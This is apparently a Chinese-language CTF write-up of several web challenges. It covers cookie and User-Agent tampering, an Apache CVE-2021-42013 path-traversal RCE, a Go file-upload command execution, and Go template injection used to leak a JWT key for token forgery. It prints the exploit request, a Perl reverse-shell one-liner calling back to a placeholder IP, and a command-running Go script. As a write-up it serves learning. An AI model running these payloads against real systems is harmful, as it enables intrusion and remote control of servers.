自闭了,抱着团队人的大腿就差最后一道cms的题就AK所有web了,但是中途给他们弹一个题目的shell过程中把我题目的弹过去最后串交了个flag,两个队的成绩全被清零了,555。
Power Cookie
点击按钮抓个包看看数据
Set-Cookie默认为admin=0,我们自己设置一个admin=1的cookie值即可。
简简单单。
魔法浏览器
看看源代码,
有一串utf-8的编码,把它放入python中执行以下即可(python默认utf-8编码)
str1="\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35"
print(str1)
这串字符就是用来伪装User-Agent的浏览器,抓个包修改一下数据
也是简简单单。
getme
看看源码
给了个网站当前路径即网站根目录,除了知道它是apache环境以外没有什么思路,所以扫一下这个网站。
index.html就默认网站的页面没什么用,看到一个有意思的玩意儿,/cgi-bin/test-cgi,虽然是500状态无法访问,但是也可以从这里找一个突破口,经过在网上大量的搜索以及和队友的交流,最后得知这是一道CVE-2021-42013的原题,找到原exp拿到打入即可,至于是什么原理,大火可以自行百度。
GET :
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
POST:
echo Content-Type: text/plain; echo;ls /
可以用如下命令进行shell弹取
perl -e 'use Socket;$i="you_ip";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
也可以直接进行flag的查找,当然表面的这个flag是假的,真正的flag需要自己去找,一开始有点懵,还以为flag在网站根目录,甚至想过是不是suid提权,结果提出来就一个su可以用,也就放弃了,最后发现
这似乎不是根目录下默认的文件所以我一层一层的剥下去
好家伙,套了四层,最后也是顺利读到flag,脑子瓦特了flag就在眼前找flag还会卡。
当时我和团队的人也是在这里串交flag了,寄。
hackme
还是一样,正常界面
有八个可以点击的,我们一个一个的点击查看有没有什么敏感信息。
processes
点击进入看到:
一个简单的进程信息,没什么收获,看看下一个
log
点击进入看到:
还是没有什么收获,有一种奇怪的感觉,但是说不出,继续看下面。
whoami
点击进入看到:
一样的,继续往下看
whereami
看到这里,那种感觉快到瓶颈了,说不出来,所以说有没有一种可能每一个链接中有一个文件,而每一个对应的文件中执行了一条命令。像上面的whoami、pwd等等。如果不确定再继续看下去。
uptime
基本可以确定是这样的了,flag点都不用点就知道是个假的,最后看一个关键的信息,那就是users。
这个提示非常的关键,doesn't seem to be users.go???即users.go文件找不到,也就是那些链接都是点击后在文件名后加.go后缀。那么有意思了,我们上面执行命令的那些文件说不定就都是go语言写的。最后还有一个提示,
Upload .go,即我们需要上传一个go文件,这一下思路清晰了,我们需要上传一个users.go的脚本,当我们点击users会自动读取道go文件解析并执行,很不幸我并不会go语言,所以脚本是从我队友那拿的(他也是网上找的哈哈哈); 脚本如下
package main
import (
"fmt"
"os/exec"
)
func main() {
Command("ls /")
}
func Command(cmd string) error {
c := exec.Command("bash", "-c", cmd)
output, err := c.CombinedOutput()
fmt.Println(string(output))
return err
}
命令执行,用ls 查看根目录下的文件夹以及文件,把该内容写入一个user.go的文件中,再通过文件上传将其上传上去,最后再点击一下users,即可得到命令执行过后的数据
最后发现flag,用cat /flag 代替上面语句中的ls /即可查找到flag。所以这个题看似其实不完全考到go即使不是很懂go语言,主要能在百度找到一个脚本就可以解决。
fxxkgo
和上一题鸡肋的go相比比较,这一题才是真真正正的考到了go语言,考到了go的代码审计,go中存在的ssti,go中的JWT伪造。这种题目其实我本来是做不出来,但是最后还是做出来了,原因是这个题是原题([LineCTF2022]gotm),被抄下来的原题除了JWT伪造的密匙不同以及原题是GET请求,这个题目用的是POST请求以外,便没有什么不同的了。
题目给了源码
package main
import (
"encoding/json"
"fmt"
"github.com/gin-gonic/gin"
"github.com/golang-jwt/jwt"
"os"
"text/template"
)
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
type AccountClaims struct {
Id string `json:"id"`
Is_admin bool `json:"is_admin"`
jwt.StandardClaims
}
type Resp struct {
Status bool `json:"status"`
Msg string `json:"msg"`
}
type TokenResp struct {
Status bool `json:"status"`
Token string `json:"token"`
}
var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
func clear_account() {
acc = acc[:1]
}
func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}
func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}
func rootHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(c.Writer, &acc)
return
} else {
return
}
}
func flagHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
} else {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
}
}
func authHandler(c *gin.Context) {
uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
}
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
func Resist(c *gin.Context){
uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
}
func index(c *gin.Context) {
c.JSON(200,gin.H{
"msg": "Hello World",
})
}
func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
r := gin.Default()
r.GET("/",index)
r.POST("/", rootHandler)
r.POST("/flag", flagHandler)
r.POST("/auth", authHandler)
r.POST("/register", Resist)
r.Run(":80")
}
根据主函数我们可以得知它有5个路由
func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
r := gin.Default()
r.GET("/",index)
r.POST("/", rootHandler)
r.POST("/flag", flagHandler)
r.POST("/auth", authHandler)
r.POST("/register", Resist)
r.Run(":80")
}
根目录的GET请求和POST请求进入的路由不相同,实现的功能也不同。这个题目其实就是按照路由走一遍然后就可以得到flag了,具体怎么走,看的懂go语言的兄弟可以思考一下,看不懂的我直接讲了,首先我们先去分析五个路由对应的函数实现了什么功能
//GET请求根目录的实现
func index(c *gin.Context) {
c.JSON(200,gin.H{
"msg": "Hello World",
})
}
//根目录POST请求实现功能
func rootHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id) //这个点存在ssti漏洞
if err != nil {
}
tpl.Execute(c.Writer, &acc)
return
} else {
return
}
}
//根目录下的flag POST请求实现的功能
func flagHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
} else {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
}
}
//根目录下auth POST请求实现的功能
func authHandler(c *gin.Context) {
uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
}
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
//根目录下register POST请求实现的功能
func Resist(c *gin.Context){
uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
}
根据分析register是用来创建用户id和pw的,存入开始便已经定义好的结构体中
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
auth可以获得用户token即JWT的返回值,所以如果我们能获得JWT的返回值我们想要伪造一个JWT就还需要知道它的密匙,这个密匙怎么获得呢?这就要利用到go中的ssti的漏洞,我当然对这方面的原理不是很清楚,就分享一下解题方法。
第一步先用register,注册一个账号密码
第二步用auth查看路由
获得了一个JWT,所以现在需要一个点去搞到密匙,把JWT换上看一下根目录
这就是账号,所以我们可以利用账号进行ssti注入,看别的师傅说正常出牌应该是{{.secret_key}},但是函数root_handler中得到的acc是数组中的地址,也就是get_account函数通过在全局变量acc数组中查找我们的用户,这种情况下直接注入{{.secret_key}}会返回空,所以我们利用{{.}}即查看所有内容,最后可以查到密匙。
步骤和上面一样,不过我们需要在register下注册的账号为{{.}},
一样的访问一下auth获得token,再打入其中POST访问根目录
爆出JWT来了,接下来就是JWT的身份伪造
讲伪造的JWT打入网站,最后再访问一下flag
得到flag了,比较艰辛,但是对go语言更加的了解了。
参考:[LineCTF2022]gotm ( golang SSTI + JWT伪造 )_shu天的博客-CSDN博客
https://github.com/asaotomo/CVE-2021-42013-Apache-RCE-Poc-Exp